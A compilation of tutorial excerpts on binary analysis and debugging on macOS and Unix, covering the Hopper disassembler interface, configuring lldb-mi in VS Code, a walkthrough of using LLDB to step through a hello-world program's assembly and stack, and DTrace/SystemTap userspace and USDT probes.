This bar is used to quickly navigate into the file. A color scheme is used to indicate 
the various types given to the bytes of the file. 

• Blue parts represent code, 
• Yellow parts represent procedures, 
• Green parts represent ASCII strings, 
• Purple parts represent data, 

• Grey parts are undefined. 

A little red arrow indicates where the cursor is currently located. 



Using the Inspector 

The inspector is the rightmost part of the window. It contains various components 
that will show up, or hidden depending on the context where the cursor is 
currently located. 

 

Here is a quick overview of the components that you can find in the inspector: 



Instruction Encoding 

This component displays the bytes of the current instruction. If the current 
processor has multiple CPU modes (like the ARM and Thumb modes of 
the ARM processor family), you’ll see a popup menu that lets you change the CPU 
mode at the current address. 

Format 

This component is used to change the display format of the operand of an 
instruction. You can choose between signed / unsigned 
hexadecimal, decimal, octal, address, etc. 

Comment 

You can associate a textual comment at a given address. Use this component to 

edit this comment. 

Colors and Tags 

This component lets you associate tags to addresses, basic-block of a procedure, 
or a procedure. Those tags are useful to navigate efficiently through the file. 

You can even put some colors on addresses in order to quickly, and visually, 
distinguish parts of the executable. 

References 

This is a very important component; it shows all the references that one 
instruction can have to another instruction, or a piece of data. It contains the 
references in the other way too, i.e. the other instructions that reference this one. 
You can even add your own references by hand if the analysis performed by 
Hopper didn’t find any references. 

Procedure 

This component contains the information on the current procedure. For each 
basic-block, it displays the list of its predecessors and its successors. 

At the bottom of the component, you’ll find a very useful button: Switch/case 
hint. This button is enabled on instructions like *jmp REGISTER. It allows you to 
help Hopper to find the statements of a switch/case construction. 



 

Modifying the File 

The Hexadecimal Editor 

As previously seen, Hopper provides a hexadecimal editor. The editor is 
synchronized with the assembly language view, and automatically highlights bytes 

that are part of the current instruction. 

 



Double-click on a byte to modify it. You can use the Undo/Redo feature if you 
made a mistake. 

The Assembler 

An embedded assembler can be invoked from Hopper from the Modify > 
Assemble Instruction… menu. 

 

You can also use the Modify > NOP Region menu to replace the currently 
selected instructions by NOP instructions. 
 

https://www.tegakari.net/en/2018/10/hopper_disassembler/ 

https://www.hopperapp.com/tutorial.html 

Debugging with LLDB-MI on macOS 

The debug adapter for the C/C++ extension utilizes the machine interface mode 

for both gdb and lldb. To use this interface in lldb, the extension utilizes lldb-

mi. The lldb-mi executable was built from the GitHub lldb-mi repository and 

has a dependency on the LLDB.framework, which is part of Xcode. 

Prerequisites 

The lldb-mi executable requires LLDB.framework to run. 

How to obtain the LLDB.framework 

You can get the LLDB.framework one of two ways. 

Xcode: 

1. Open the Apple App Store. 

2. Search for 'Xcode'. 

3. Select the Xcode application and then Install. 

https://www.tegakari.net/en/2018/10/hopper_disassembler/
https://www.hopperapp.com/tutorial.html
https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools
https://github.com/lldb-tools/lldb-mi
https://code.visualstudio.com/docs/cpp/lldb-mi#_prerequisites
https://code.visualstudio.com/docs/cpp/lldb-mi#_how-to-obtain-the-lldbframework


Xcode Command Line Tools: 

1. Open a terminal. 

2. Run xcode-select --install. 

3. Confirm the prompt. 

Example launch.json 

Below is an example launch.json debug configuration entry for lldb: 

"configurations": [ 

    { 

        "name": "Launch (lldb)", 

        "type": "cppdbg", 

        "request": "launch", 

        "program": "${workspaceFolder}/a.out", 

        "args": [], 

        "stopAtEntry": false, 

        "cwd": "${workspaceFolder}", 

        "environment": [], 

        "externalConsole": false 

    } 

] 

If you get a Developer Tools Access prompt 

You may see a dialog saying "Developer Tools Access needs to take control of 

another process for debugging to continue." 

https://code.visualstudio.com/docs/cpp/lldb-mi#_example-launchjson
https://code.visualstudio.com/docs/cpp/lldb-mi#_if-you-get-a-developer-tools-access-prompt


 

If you get this prompt, you will have to enter your username and password to 

allow debugging. 

If you want to permanently dismiss this prompt, you can run the following 

command in a terminal: 

sudo DevToolsSecurity --enable 

Additional configurations 

Using an LLDB.framework not installed via Xcode 

If you want to use an LLDB.framework that is not installed with Xcode, you need 

to: 

1. Copy the lldb-mi executable in ~/.vscode/extensions/ms-

vscode.cpptools-<version>/debugAdapters/lldb-mi/bin to the folder 

where the LLDB.framework is located. 

2. Add the full path of lldb-mi to miDebuggerPath in 

your launch.json configuration. 

For example, if you have the LLDB.framework folder located 

at /Users/default/example/, you would: 

1. Copy ~/.vscode/extensions/ms-vscode.cpptools-
<version>/debugAdapters/lldb-mi/bin/lldb-

mi into /Users/default/example/. 

2. Add the following to your existing configuration: 

3. "miDebuggerPath": "/Users/default/example/lldb-mi" 

https://code.visualstudio.com/docs/cpp/lldb-mi#_additional-configurations
https://code.visualstudio.com/docs/cpp/lldb-mi#_using-an-lldbframework-not-installed-via-xcode


Using a custom-built lldb-mi 

If you built your own lldb-mi, you can use it by setting miDebuggerPath to the 

full path of the executable. 

References 

• LLDB-MI Build 

• LLDB-MI Repository 

https://code.visualstudio.com/docs/cpp/lldb-mi  

Using LLDB for reverse engineering 
I've been exploring reverse engineering, and it's a fascinating topic. There are many ways to 

analyse a binary. Usually, the analysis is divided into two types, static and dynamic. Static 

analysis is when you decompile the binary and read the assembly code and try to figure out 

what it does. On the other hand, in dynamic analysis, you execute the binary and analyse it 

while running. In general, for dynamic analysis, we use a debugger. As you can imagine, there 

are many debuggers out there. In this post, we are going to use LLDB to analyse a binary. I'll 

explain the basic commands we would use and a general setup that I find useful when doing 

dynamic analysis. 

LLDB is the debugger that comes with Xcode when you install the developer tools on macOS, 

so it'll be there if you are already developing some macOS/*OS applications. So let's begin with 

writing and analysing a simple C program. 

Hello, world! 

Alright, we are going to write a basic C program, and compile. Create a new file, name 

it hello.c and add the following content: 

Copy 

1 

2 

3 

4 

5 

6 
 

#include <stdio.h> 

 

int main(int argc, char* argv[]) { 

 printf("Hello, world!"); 

 return 0; 

} 
 

Now compile it using Clang (you can use GCC, or any other compiler, I'm just trying to stay to 

the tools provided by LLVM used in the Apple ecosystem): 

Copy 

1 $ clang hello.c 

https://code.visualstudio.com/docs/cpp/lldb-mi#_using-a-custombuilt-lldbmi
https://code.visualstudio.com/docs/cpp/lldb-mi#_references
https://dev.azure.com/ms/vscode-cpptools/_build?definitionId=313
https://github.com/lldb-tools/lldb-mi
https://code.visualstudio.com/docs/cpp/lldb-mi
https://en.wikipedia.org/wiki/Clang
https://en.wikipedia.org/wiki/GNU_Compiler_Collection
https://en.wikipedia.org/wiki/LLVM


2 
 

# this should create a.out 
 

Now we are going to use lldb to analyse the a.out. 

Copy 

1 
 

$ lldb a.out 
 

The lldb command, provides us with a REPL where we can run the program, set breakpoints 

and analyse the code. 

Let's run the command: 

Copy 

1 

2 

3 
 

(lldb) r 

Process 46295 launched: '/Users/perensejo/a.out' (x86_64) 

Hello, world!Process 46295 exited with status = 0 (0x00000000) 
 

Now, we know what it does when we execute it, but how it does it is what we are interested 

in. 

We are going to assume we don't know anything about the binary, so let's first show the 

symbol tables. We could use the command nm(1) in the shell. 

Copy 

1 

2 

3 

4 

5 

6 
 

$ nm a.out 

0000000100002008 d __dyld_private 

0000000100000000 T __mh_execute_header 

0000000100000f50 T _main 

         U _printf 

         U dyld_stub_binder 
 

Or from the debugger, we can show the symbol table using the image command. 

Copy 

1 

2 

3 

4 

5 

(lldb) image dump symtab a.out 

Symtab, file = /Users/pascualin/a.out, num_symbols = 5: 

        Debug symbol 

        |Synthetic symbol 

        ||Externally Visible 

https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop
x-man-page://1/nm


6 

7 

8 

9 

10 

11 

12 

13 

14 
 

        ||| 

Index  UserID  DSX Type            File               Address/Value      Load               Address    Size        

Flags   Name 

------- ------ --- --------------- ------------------ ------------------ ------------------ ---------- ----------------

------------------ 

[  0]            0 Data            0x0000000100002008 0x0000000000000008 0x000e0000         

_dyld_private 

[  1]            1 X               Data               0x0000000100000000 0x0000000000000f50 

0x000f0010 _mh_execute_header 

[  2]            2 X               Code               0x0000000100000f50 0x0000000000000031 

0x000f0000 main 

[  3]            3 Trampoline      0x0000000100000f82 0x0000000000000006 0x00010100         

printf 

[  4]            4 X               Undefined          0x0000000000000000 0x0000000000000000 

0x00010100 dyld_stub_binder 

 
 

To learn more about all of lldb's commands, I would recommend reading the help included 

in lldb. For example, if we wanted to check what the image command does. We can use help 

image inside lldb, and we'll get a nice description with all the options supported by the 

command (you can also help help or help apropos to learn more). 

Ok, we can see that the binary has a main function. Let's set a breakpoint into main and see 

what is going on. Yea, I know, the binaries in macOS require you to have a main entry point, 

but it was an excuse to show you the symbol table for the binary. 

Anyways, let's set the breakpoint, and rerun the command. I'm using the short form of the 

commands, but you can always use the long-form and use tab for auto-complete.: 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

(lldb) b main 

(lldb) r 

Process 46305 launched: '/Users/fulano/a.out' (x86_64) 

Process 46305 stopped 

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 

  frame #0: 0x0000000100000f50 a.out`main 

a.out`main: 

-> 0x100000f50 <+0>: pushq        %rbp 



9 

10 

11 

12 
 

  0x100000f51 <+1>:  movq  %rsp,  %rbp 

  0x100000f54 <+4>:  subq  $0x20, %rsp 

  0x100000f58 <+8>:  movl  $0x0,  -0x4(%rbp) 

Target 0: (a.out) stopped. 
 

Alright, we got stopped at the beginning of our main function. This is not an introduction to 

Assembly language, so I won't go into the details. I will assume you have some familiarity with 

assembly languages. Let's have a look at our registers: 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

14 

15 

16 

17 

18 

19 

20 

21 

22 

(lldb) register read 

General Purpose Registers: 

    rax  = 0x0000000100000f50 a.out`main 

    rbx  = 0x0000000000000000 

    rcx  = 0x00007ffeefbfe000 

    rdx  = 0x00007ffeefbfdc18 

    rdi  = 0x0000000000000001 

    rsi  = 0x00007ffeefbfdc08 

    rbp  = 0x00007ffeefbfdbf8 

    rsp  = 0x00007ffeefbfdbe8 

    r8   = 0x0000000000000000 

    r9   = 0x0000000000000000 

    r10  = 0x0000000000000000 

    r11  = 0x0000000000000000 

    r12  = 0x0000000000000000 

    r13  = 0x0000000000000000 

    r14  = 0x0000000000000000 

    r15  = 0x0000000000000000 

    rip  = 0x0000000100000f50 a.out`main 

  rflags = 0x0000000000000246 

    cs   = 0x000000000000002b 

    fs   = 0x0000000000000000 



23 
 

    gs   = 0x0000000000000000 
 

As you can see, the instruction pointer is at 0x100000f50 which is exactly where we are at, 

good. The instruction to be executed is: 

Copy 

1 
 

-> 0x100000f50 <+0>: pushq %rbp 
 

So we are going to be pushing what we have in register rbp into the stack. So let's first look at 

where the stack pointer "points" to: 

Copy 

1 

2 
 

(lldb) register read rsp 

   rsp = 0x00007ffeefbfdbe8 
 

That is the address in memory, but what is on that address? We can use 

the memory command (I'll use the short form): 

Copy 

1 

2 

3 

4 
 

(lldb)x/10w $rsp 

0x7ffeefbfdbe8: 0x6e44f7fd 0x00007fff 0x6e44f7fd 0x00007fff 

0x7ffeefbfdbf8: 0x00000000 0x00000000 0x00000001 0x00000000 

0x7ffeefbfdc08: 0xefbfe088 0x00007ffe 
 

Depending on how you prefer to look at your stack, you might want to show it on a single 

column. I prefer that, so let's add more format to the command and use: 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

(lldb) x/10w -l 1 $rsp 

0x7ffeefbfdbe8: 0x6e44f7fd 

0x7ffeefbfdbec: 0x00007fff 

0x7ffeefbfdbf0: 0x6e44f7fd 

0x7ffeefbfdbf4: 0x00007fff 

0x7ffeefbfdbf8: 0x00000000 

0x7ffeefbfdbfc: 0x00000000 

0x7ffeefbfdc00: 0x00000001 

0x7ffeefbfdc04: 0x00000000 

0x7ffeefbfdc08: 0xefbfe088 



11 
 

0x7ffeefbfdc0c: 0x00007ffe 
 

That's more like it. Ok, so our stack pointer points to the top of the stack 0x7ffeefbfdbe8, and 

we were about to execute the following instruction: 

Copy 

1 
 

-> 0x100000f50 <+0>: pushq %rbp 
 

Let's see what is inside rbp: 

Copy 

1 

2 
 

(lldb) register read rbp 

   rbp = 0x00007ffeefbfdbf8 
 

So if we push it to the stack, in the top of our stack, we should see 0x 7ffeefbfdbf8. Let's see if 

it's true, run the next instruction (ni): 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 
 

(lldb) ni 

Process 46305 stopped 

* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over 

  frame #0: 0x0000000100000f51 a.out`main + 1 

a.out`main: 

-> 0x100000f51 <+1>:   movq  %rsp, %rbp 

  0x100000f54  <+4>:  subq  $0x20, %rsp 

  0x100000f58  <+8>:  movl  $0x0, -0x4(%rbp) 

  0x100000f5f  <+15>: movl  %edi, -0x8(%rbp) 
 

Again let's see our stack: 

Copy 

1 

2 

3 

4 

5 

6 

(lldb) x/10w -l 1 $rsp 

0x7ffeefbfdbe0: 0xefbfdbf8 

0x7ffeefbfdbe4: 0x00007ffe 

0x7ffeefbfdbe8: 0x6e44f7fd 

0x7ffeefbfdbec: 0x00007fff 

0x7ffeefbfdbf0: 0x6e44f7fd 



7 

8 

9 

10 

11 
 

0x7ffeefbfdbf4: 0x00007fff 

0x7ffeefbfdbf8: 0x00000000 

0x7ffeefbfdbfc: 0x00000000 

0x7ffeefbfdc00: 0x00000001 

0x7ffeefbfdc04: 0x00000000 
 

As you can see our stack now shows 0x7ffeefbfdbf8 on top of the stack. But that doesn't look 

right, it seems like one part of the hex number is on the top and another at the bottom. Well, 

this is because we are using x10w This shows the format in words (32bits) and we are in a 

64bits architecture, so we should use: 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 
 

(lldb) x/10xw -s 8 -l 1 $rsp 

0x7ffeefbfdbe0: 0x00007ffeefbfdbf8 

0x7ffeefbfdbe8: 0x00007fff6e44f7fd 

0x7ffeefbfdbf0: 0x00007fff6e44f7fd 

0x7ffeefbfdbf8: 0x0000000000000000 

0x7ffeefbfdc00: 0x0000000000000001 

0x7ffeefbfdc08: 0x00007ffeefbfe088 

0x7ffeefbfdc10: 0x0000000000000000 

0x7ffeefbfdc18: 0x00007ffeefbfe0b4 

0x7ffeefbfdc20: 0x00007ffeefbfe0c2 

0x7ffeefbfdc28: 0x00007ffeefbfe105 
 

And now the display looks right. Let's keep moving, let's show the disassembly code we are 

currently in. We can do it by typing di: 

Copy 

1 

2 

3 

4 

5 

6 

7 

(lldb) di 

a.out`main: 

  0x100000f50  <+0>:  pushq %rbp 

-> 0x100000f51 <+1>:  movq  %rsp,       %rbp 

  0x100000f54  <+4>:  subq  $0x20,      %rsp 

  0x100000f58  <+8>:  movl  $0x0,       -0x4(%rbp) 

  0x100000f5f  <+15>: movl  %edi,       -0x8(%rbp) 



8 

9 

10 

11 

12 

13 

14 

15 

16 

17 
 

  0x100000f62  <+18>: movq  %rsi,       -0x10(%rbp) 

  0x100000f66  <+22>: leaq  0x35(%rip), %rdi     ; "Hello, world!" 

  0x100000f6d  <+29>: movb  $0x0,       %al 

  0x100000f6f  <+31>: callq 0x100000f82        ; symbol stub for: printf 

  0x100000f74  <+36>: xorl  %ecx,       %ecx 

  0x100000f76  <+38>: movl  %eax,       -0x14(%rbp) 

  0x100000f79  <+41>: movl  %ecx,       %eax 

  0x100000f7b  <+43>: addq  $0x20,      %rsp 

  0x100000f7f  <+47>: popq  %rbp 

  0x100000f80  <+48>: retq 
 

Or we can read the memory using x (with the i format) on our instruction register (rip). 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 
 

(lldb) x/10i $rip 

-> 0x100000f51: 48 89 e5             movq  %rsp, %rbp 

  0x100000f54: 48 83 ec 20           subq  $0x20, %rsp 

  0x100000f58: c7 45 fc 00 00 00 00  movl  $0x0, -0x4(%rbp) 

  0x100000f5f: 89 7d f8              movl  %edi, -0x8(%rbp) 

  0x100000f62: 48 89 75 f0           movq  %rsi, -0x10(%rbp) 

  0x100000f66: 48 8d 3d 35 00 00 00  leaq  0x35(%rip), %rdi     ; "Hello, world!" 

  0x100000f6d: b0 00                 movb  $0x0, %al 

  0x100000f6f: e8 0e 00 00 00        callq 0x100000f82        ; symbol stub for: printf 

  0x100000f74: 31 c9                 xorl  %ecx, %ecx 

  0x100000f76: 89 45 ec              movl  %eax, -0x14(%rbp) 
 

I hope you are getting a better feel for using the memory read (x short version) and the 

registers. Ok, we are skipping a few instructions and stop where we see the "Hello, world!" 

String to be passed to printf. 

Copy 

1 

2 

3 

(lldb) ni -c 5 

-> 0x100000f66 <+22>: leaq  0x35(%rip), %rdi     ; "Hello, world!" 

  0x100000f6d <+29>:  movb  $0x0,       %al 



4 

5 
 

  0x100000f6f <+31>:  callq 0x100000f82        ; symbol stub for: printf 

  0x100000f74 <+36>:  xorl  %ecx,       %ecx 
 

Alright, let's imagine the debugger didn't add that comment showing that it's getting the 

string. We see that the rdi register will point to the memory address that contains the "Hello, 

world!" String. It'll be in the rdi register after we execute the instruction. 

Copy 

1 

2 

3 

4 

5 
 

(lldb) ni 

-> 0x100000f6d <+29>: movb  $0x0, %al 

  0x100000f6f <+31>:  callq 0x100000f82        ; symbol stub for: printf 

  0x100000f74 <+36>:  xorl  %ecx, %ecx 

  0x100000f76 <+38>:  movl  %eax, -0x14(%rbp) 
 

Let's read the memory that rdi points to (let's read 4 words): 

Copy 

1 

2 

3 

4 

5 
 

(lldb) x/4w $rdi 

0x100000fa2: "Hello, world!" 

0x100000fb0: "\x01" 

0x100000fb2: "" 

0x100000fb3: "" 
 

We can also take advantage of the s format that will obtain a string until it reaches a "null" 

character \x01. 

Copy 

1 

2 
 

(lldb) x/s $rdi 

0x100000fa2: "Hello, world!" 
 

Perfect, you can then see that we have a call to printf and the rest of the teardown of the 

program. You can continue debugging it on your own, or just use the command continue that 

will continue until the next breakpoint (which we don't have) or the end of the program in our 

case. 

Ok, that should be enough to get you started. There are a few more details I want to show you. 

First, if we are debugging a program that we wrote. We have access to the code so we can 

compile it with additional information for the debugger. Second, we'll see how to set up a 

command file to make your debugging life easier. 

Debugger information 



Ok, let's now compile our code using the flag glldb. Using that flag will give additional 

information to our debugger: 

Copy 

1 

2 
 

$ clang -glldb hello.c 

# This generates a.out 
 

Again, let's jump into lldb. 

Copy 

1 

2 

3 

4 

5 

6 
 

$ lldb a.out 

(lldb) target create "a.out" 

Current executable set to 'a.out' (x86_64). 

(lldb) b main 

Breakpoint 1: where = a.out`main + 22 at hello.c:4:3, address = 0x0000000100000f66 

(lldb) 
 

And run the program: 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 
 

(lldb) r 

Process 46448 launched: '/Users/derik/Documents/Development/re/a.out' (x86_64) 

Process 46448 stopped 

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 

  frame #0: 0x0000000100000f66 a.out`main(argc=1, argv=0x00007ffeefbfdc08) at 

hello.c:4:3 

  1  #include <stdio.h> 

  2 

  3  int main(int argc, char* argv[]) { 

-> 4   printf("Hello, world!"); 

  5   return 0; 

  6  } 

Target 0: (a.out) stopped. 
 

Alright, now that shows us the source code in the debugger, that is useful. If we want to go to 

the next instruction in the code, just use the next (n short form) command. 

Copy 



1 

2 

3 

4 

5 

6 

7 

8 

9 

10 
 

(lldb) n 

Process 46448 stopped 

* thread #1, queue = 'com.apple.main-thread', stop reason = step over 

  frame #0: 0x0000000100000f79 a.out`main(argc=1, argv=0x00007ffeefbfdc08) at 

hello.c:5:3 

  2 

  3  int main(int argc, char* argv[]) { 

  4   printf("Hello, world!"); 

-> 5   return 0; 

  6  } 

Target 0: (a.out) stopped. 
 

As you can see, it went straight to the return 0 instruction. When we get the additional 

debugging information, we can use n to go to the next source code instruction. And we can 

use ni if we want to step into the assembly instructions. Which is quite handy. 

Let's rerun our program and try to show the assembly instructions: 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

14 

15 

(lldb) r 

There is a running process, kill it and restart?: [Y/n] y 

Process 46457 exited with status = 9 (0x00000009) 

Process 46463 launched: '/Users/derik/Documents/Development/re/a.out' (x86_64) 

Process 46463 stopped 

* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 

  frame #0: 0x0000000100000f66 a.out`main(argc=1, argv=0x00007ffeefbfdc08) at 

hello.c:4:3 

  1  #include <stdio.h> 

  2 

  3  int main(int argc, char* argv[]) { 

-> 4   printf("Hello, world!"); 

  5   return 0; 

  6  } 

Target 0: (a.out) stopped. 



16 

17 

18 

19 

20 

21 

22 

23 

24 

25 
 

(lldb) ni 

Process 46463 stopped 

* thread #1, queue = 'com.apple.main-thread', stop reason = instruction step over 

  frame #0: 0x0000000100000f6d a.out`main(argc=1, argv=0x00007ffeefbfdc08) at 

hello.c:4:3 

  1  #include <stdio.h> 

  2 

  3  int main(int argc, char* argv[]) { 

-> 4   printf("Hello, world!"); 

  5   return 0; 

  6  } 

Target 0: (a.out) stopped. 
 

Alright, nothing happened. What happened? Well, we are not displaying the assembly code, 

use the di command to show the disassembly: 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 

12 

13 

14 

15 

(lldb) di 

a.out`main: 

  0x100000f50 <+0>:   pushq %rbp 

  0x100000f51 <+1>:   movq  %rsp, %rbp 

  0x100000f54 <+4>:   subq  $0x20, %rsp 

  0x100000f58 <+8>:   movl  $0x0, -0x4(%rbp) 

  0x100000f5f <+15>:  movl  %edi, -0x8(%rbp) 

  0x100000f62 <+18>:  movq  %rsi, -0x10(%rbp) 

  0x100000f66 <+22>:  leaq  0x35(%rip), %rdi     ; "Hello, world!" 

-> 0x100000f6d <+29>: movb  $0x0, %al 

  0x100000f6f <+31>:  callq 0x100000f82        ; symbol stub for: printf 

  0x100000f74 <+36>:  xorl  %ecx, %ecx 

  0x100000f76 <+38>:  movl  %eax, -0x14(%rbp) 

  0x100000f79 <+41>:  movl  %ecx, %eax 

  0x100000f7b <+43>:  addq  $0x20, %rsp 



16 

17 
 

  0x100000f7f <+47>:  popq  %rbp 

  0x100000f80 <+48>:  retq 
 

Now we can use ni +di to view the steps in the assembly code. 

You can continue playing with that on your own. Let's now create a custom configuration that 

will be helpful when we are reverse engineering a binary. 

LLDB custom hooks 

We can pass as an argument to lldb of a file that contains lldb instructions to be executed 

when the debugger is executed. 

That could be useful, but it becomes much better when we add to that file some lldb hooks. 

We can define some hooks that will run when the debugger stops (in each step or breakpoint). 

Create a file revengsetup with the following content: 

Copy 

1 

2 

3 

4 

5 

6 

7 

8 

9 

10 

11 
 

ta st a -o "x/x $rax " 

ta st a -o "x/x $rbx " 

ta st a -o "x/x $rcx " 

ta st a -o "x/x $rdx " 

ta st a -o "x/x $rdi " 

ta st a -o "x/x $rsi " 

ta st a -o "x/x $rbp " 

ta st a -o "x/x $rsp " 

ta st a -o "x/8w -s 8 -l1 $rsp" 

ta st a -o "x/10i $rip" 

b main 
 

What we are doing is adding hooks that display useful information on the state of the 

registers, the stack, and disassembly code of the current instructions. 

Let's try it out with our a.out. 

Copy 

1 

2 
 

$ lldb -s revengsetup a.out 

(lldb) r 
 

Run the command, and you'll be able to see all the information on your screen. Very handy. 

Final thoughts 



There is a lot to reverse engineering than just using a debugger, but it is useful to become 

proficient with one. This was just a short introduction to get you started, there are more 

resources out there on the Internet. I wrote this post because the information I found was 

mostly directed to GDB, and the GDB information was also hidden between assembly language 

tutorials or books. I wanted to present you with a concise way to jump into lldb without having 

to thread through lots of pages of how to write assembly. I hope you find it useful. 

Let me know what you think, as always, feedback is welcomed. 

And also let me know what are you reverse engineering, it is always fun to talk about this stuff. 

Related topics/notes of interest 

• The GDB to LLDB command map, useful because there is a lot of information on how 

to use GDB but less on LLDB so if you learn how to do it on GDB then you might find 

the equivalent on LLDB in that link. 

• A stack overflow answer that explains the difference between GDB and LLDB, a simple 

explanation. 

• If you want to learn about assembly, I would 

recommend http://opensecuritytraining.info/Training.html. 

• Also, Reverse Engineering for Beginners. 

• Reverse Engineering subreddit, a lot of useful information there. 

https://rderik.com/blog/using-lldb-for-reverse-engineering/ 

DTrace for the Application Developer - Counting Function 

Calls 

 

Userspace process tracing 
We had covered kernel organization in detail in previous chapter, 
but it would be useless without userspace application that services 
end-user requests. It can be either simple cat program which we 
used in many previous examples to complex web application which 
uses web server and relational database. Like with the kernel, 
DTrace and SystemTap allow to set a probe to any instruction in it, 
however it will require additional switch to kernel space to execute 
the code. For example, let's install probe on a read() call on the side 
of standard C library: 

https://lldb.llvm.org/use/map.html
https://stackoverflow.com/a/39717486
http://opensecuritytraining.info/Training.html
https://beginners.re/
https://www.reddit.com/r/ReverseEngineering/
https://rderik.com/blog/using-lldb-for-reverse-engineering/


 

In DTrace userspace tracing is performed through pid provider: 

pid1449:libc:__read:entry 

In this example entry point of __read() function from standard C 

library is patched for process with PID=1449. You may 

use return as name for return probes, or hexadecimal number –- in 

this case it will represent an instruction offset inside that function. 

If you need to trace binary file of application itself, you may 
use a.out as module name in probe specification. To make specifying 
PID of tracing process easier, DTrace provides special 
macro $target which is replaced with PID passed from -p option or 
with PID of command which was run with -c option: 

# dtrace -n ' 

    pid$target:a.out:main:entry {  

        ustack();  

    }' -c cat 

Userspace probes are created with process().function() syntax in 
SystemTap, where process contains path of shared library or 
executable binary which should be traced. This syntax is similar 



to kernel syntax (as described in Probes): it supports specifying line 
numbers, source file names, .statement() and .return probes: 

# stap -e ' 

    probe process("/lib64/libc.so.6").function("*readdir*") 

{ 

        print_ubacktrace(); 

    }' -c ls -d /usr/bin/ls 

Unlike DTrace, in SystemTap any process which 

invokes readdir() call from standard C library will be traced. Note 

that we used -d option so SystemTap will recognize symbols 

inside ls binary. If binary or library is searchable 

over PATH environment variable, you may omit path and use only 

library name: 

# export PATH=$PATH:/lib64/ 

# stap -e ' 

    probe process("libc.so.6").function("*readdir*") { 

        [...] }' ... 

SystemTap uses uprobes subsystem to trace userspace processes, 
so CONFIG_UPROBES should be turned on. It was introduced in Linux 3.5. 
Before that, some kernels (mostly RedHat derivatives) were shipped 
with utrace which wasn't supported by vanilla kernels. It is also 
worth mentioning that like with kernel tracing, you will need debug 
information for processes you want to trace that is shipped in -
debuginfo or -dbg packages. 

Like with kernel probes, you may access probe arguments 
using arg0-argN syntax in DTrace and $arg_name syntax in SystemTap. 
Probe context is also available. Accessing data through pointers 
however, would require using copyin() functions in DTrace 
and user_<type>() functions in SystemTap as described 
in Pointers section. 

Warning 

https://myaut.github.io/dtrace-stap-book/lang/probes.html#stap-syntax
https://myaut.github.io/dtrace-stap-book/lang/pointers.html


Tracing multiple processes in DTrace is hard –- there is no -f option 
like in truss. It is also may fail if dynamic library is loaded 
through dlopen(). This limitations, however, may be bypassed by 
using destructive DTrace actions. Just track required processes 
through process creation probes or dlopen() probes, use stop() to 
pause process execution and start required DTrace 
script. dtrace_helper.d from JDK uses such approach. 

User Statically Defined Tracing 

Like in Kernel mode, DTrace and SystemTap allow to add statically 
defined probes to a user space program. It is usually referred to 
as User Statically Defined Tracing or USDT. As we discovered for 
other userspace probes, DTrace is not capable of tracking 
userspace processes and automatically register probes (as you 
need explicitly specify PID for pid$$ provider). Same works for USDT 
–- program code needs special post-processing that will add code 
which will register USDT probes inside DTrace. 

SystemTap, on contrary, like in case of ordinary userspace probes, 
uses its task finder subsystem to find any process that provides a 
userspace probe. Probes, however are kept in separate ELF 
section, so it also requires altering build process. Build process 
involves dtrace tool which is wrapped in SystemTap as Python script, 
so you can use same build process for DTrace and SystemTap. 
Building simple program with USDT requires six steps: 

• You will need to create a definition of tracing provider (and 

use .d suffix to savei it). For example: 

• provider my_prog { 

•     probe input__val(int); 

•     probe process__val(int); 

}; 

Here, provider my_prog defines two 

probes input__val and process__val. These probes take 

single integer argument. 

• (optional) Than you need to create a header for this file: 



# dtrace -C -h -s provider.d -o provider.h 

• Now you need to insert probes into your program code. You 

may use generic DTRACE_PROBEn macros (in DTrace, 

supported by SystemTap) or STAP_PROBEn macros (in 

SystemTap) from <sys/sdt.h> header: 

DTRACE_PROBEn(provider-name, probe-name, arg1, 

...); 

Or you may use macros from generated header: 

MY_PROG_INPUT_VAL(arg1); 

If probe argument requires additional computation, you may 
use enabled-macro, to check if probe was enabled by dynamic 
tracing system: 

if(MY_PROG_INPUT_VAL_ENABLED()) { 

        int arg1 = abs(val); 

        MY_PROG_INPUT_VAL(arg1); 

    } 

In our example, program code will look like this: 

#include  

 

int main() { 

    int val; 

    scanf("%d", &val); 

    DTRACE_PROBE1(my_prog, input__val, val); 

    val *= 2; 



    DTRACE_PROBE1(my_prog, process__val, val); 

    return 0; 

} 

• Compile your source file: 

# gcc -c myprog.c -o myprog.o 

• You will also need to generate stub code for probe points or 

additional ELF sections, which is also performed 

by dtrace tool. Now it has to be called with -G option: 

# dtrace -C -G -s provider.d -o provider.o myprog.o 

• Finally, you may link your program. Do not forget to include 

object file from previous step: 

# gcc -o myprog myprog.o provider.o 

Name of a probe would be enough to attach an USDT probe with 
DTrace: 

# dtrace -n ' 

    input-val {  

        printf("%d", arg0);  

    }' 

Full name of the probe in this case will look like 

this: my_prog10678:myprog:main:input-val. Module would be name of 

the executable file or shared library, function is the name of C 

function, name of probe matches name specified in provider except 

that double underscores __ was replaced with single dash -. Name 

of the provider has PID in it like pid$$ provider does, but unlike it you 



can attach probes to multiple instances of the program even before 

they are running. 

USDT probes are available via process tapset: 

# stap -e ' 

    probe process("./myprog").mark("input__val") {  

        println($arg1);  

    }' 

Full name of the probe will use following naming schema: 

process("path-to-program").provider("name-of-

provider").mark("name-of-probe") 

Note that unlike DTrace, SystemTap won't replace underscores with 

dashes 

To implement probe registration, Solaris keeps it in special ELF 
section called .SUNW_dof: 

# elfdump ./myprog | ggrep -A 4 SUNW_dof 

Section Header[19]:  sh_name: .SUNW_dof 

    sh_addr:      0x8051708       sh_flags:   [ SHF_ALLOC ] 

    sh_size:      0x7a9           sh_type:    [ 

SHT_SUNW_dof ] 

    sh_offset:    0x1708          sh_entsize: 0 

